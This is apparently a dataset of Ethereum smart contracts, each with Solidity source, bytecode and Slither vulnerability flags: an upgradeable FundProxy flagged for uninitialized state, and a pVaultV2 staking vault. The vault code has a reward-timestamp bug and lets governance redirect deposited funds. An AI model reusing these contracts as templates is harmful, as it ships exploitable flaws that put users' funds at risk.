function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Proxy
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/UpgradeableProxy
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// File: FundProxy.sol
contract FundProxy is UpgradeableProxy {
bytes internal empty;
constructor(address _implementation)
public
UpgradeableProxy(_implementation, empty)
// solhint-disable-next-line no-empty-blocks
{
}
/**
* The main logic. If the timer has elapsed and there is a schedule upgrade,
* the governance can upgrade the vault
*/
function upgrade(address newImplementation) external {
// oldImplementation is unused for now
// solhint-disable-next-line no-unused-vars
(bool should, address oldImplementation) =
IUpgradeSource(address(this)).shouldUpgrade();
require(should, "Upgrade not scheduled");
_upgradeTo(newImplementation);
// the finalization needs to be executed on itself to update the storage of this proxy
// it also needs to be invoked by the governance, not by address(this), so delegatecall is needed
// result is unused for now
// solhint-disable-next-line no-unused-vars
(bool success, bytes memory result) =
// solhint-disable-next-line avoid-low-level-calls
address(this).delegatecall(
abi.encodeWithSignature("finalizeUpgrade()")
);
require(success, "Issue when finalizing the upgrade");
}
function implementation() external view returns (address) {
return _implementation();
}
}
|
0x60806040526004361061002d5760003560e01c80630900f010146100445780635c60da1b146100775761003c565b3661003c5761003a6100a8565b005b61003a6100a8565b34801561005057600080fd5b5061003a6004803603602081101561006757600080fd5b50356001600160a01b03166100c2565b34801561008357600080fd5b5061008c610292565b604080516001600160a01b039092168252519081900360200190f35b6100b06100c0565b6100c06100bb6102d3565b6102f8565b565b600080306001600160a01b0316639d16acfd6040518163ffffffff1660e01b8152600401604080518083038186803b1580156100fd57600080fd5b505afa158015610111573d6000803e3d6000fd5b505050506040513d604081101561012757600080fd5b50805160209091015190925090508161017f576040805162461bcd60e51b8152602060048201526015602482015274155c19dc985919481b9bdd081cd8da19591d5b1959605a1b604482015290519081900360640190fd5b6101888361031c565b60408051600481526024810182526020810180516001600160e01b0316634d28464760e11b1781529151815160009360609330939092909182918083835b602083106101e55780518252601f1990920191602091820191016101c6565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610245576040519150601f19603f3d011682016040523d82523d6000602084013e61024a565b606091505b50915091508161028b5760405162461bcd60e51b815260040180806020018281038252602181526020018061056c6021913960400191505060405180910390fd5b5050505050565b600061029c6102d3565b905090565b60606102c6838360405180606001604052806027815260200161058d6027913961035c565b9392505050565b3b151590565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610317573d6000f35b3d6000fd5b6103258161045f565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6060610367846102cd565b6103a25760405162461bcd60e51b81526004018080602001828103825260268152602001806105ea6026913960400191505060405180910390fd5b60006060856001600160a01b0316856040518082805190602001908083835b602083106103e05780518252601f1990920191602091820191016103c1565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610440576040519150601f19603f3d011682016040523d82523d6000602084013e610445565b606091505b50915091506104558282866104c7565b9695505050505050565b610468816102cd565b6104a35760405162461bcd60e51b81526004018080602001828103825260368152602001806105b46036913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b606083156104d65750816102c6565b8251156104e65782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610530578181015183820152602001610518565b50505050905090810190601f16801561055d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4973737565207768656e2066696e616c697a696e67207468652075706772616465416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65645570677261646561626c6550726f78793a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a264697066735822122012b090d6d120a5b991bd894bad1ab6f93af1e9ee4ba45c2707814858d00e86ac64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,294 |
0x93b25dcf4a3f2ea802cc3285e1865d64bcf0c5e7
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pVaultV2 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), amount);
Reward memory reward;
reward = Reward(amount, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amount);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
}
|
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f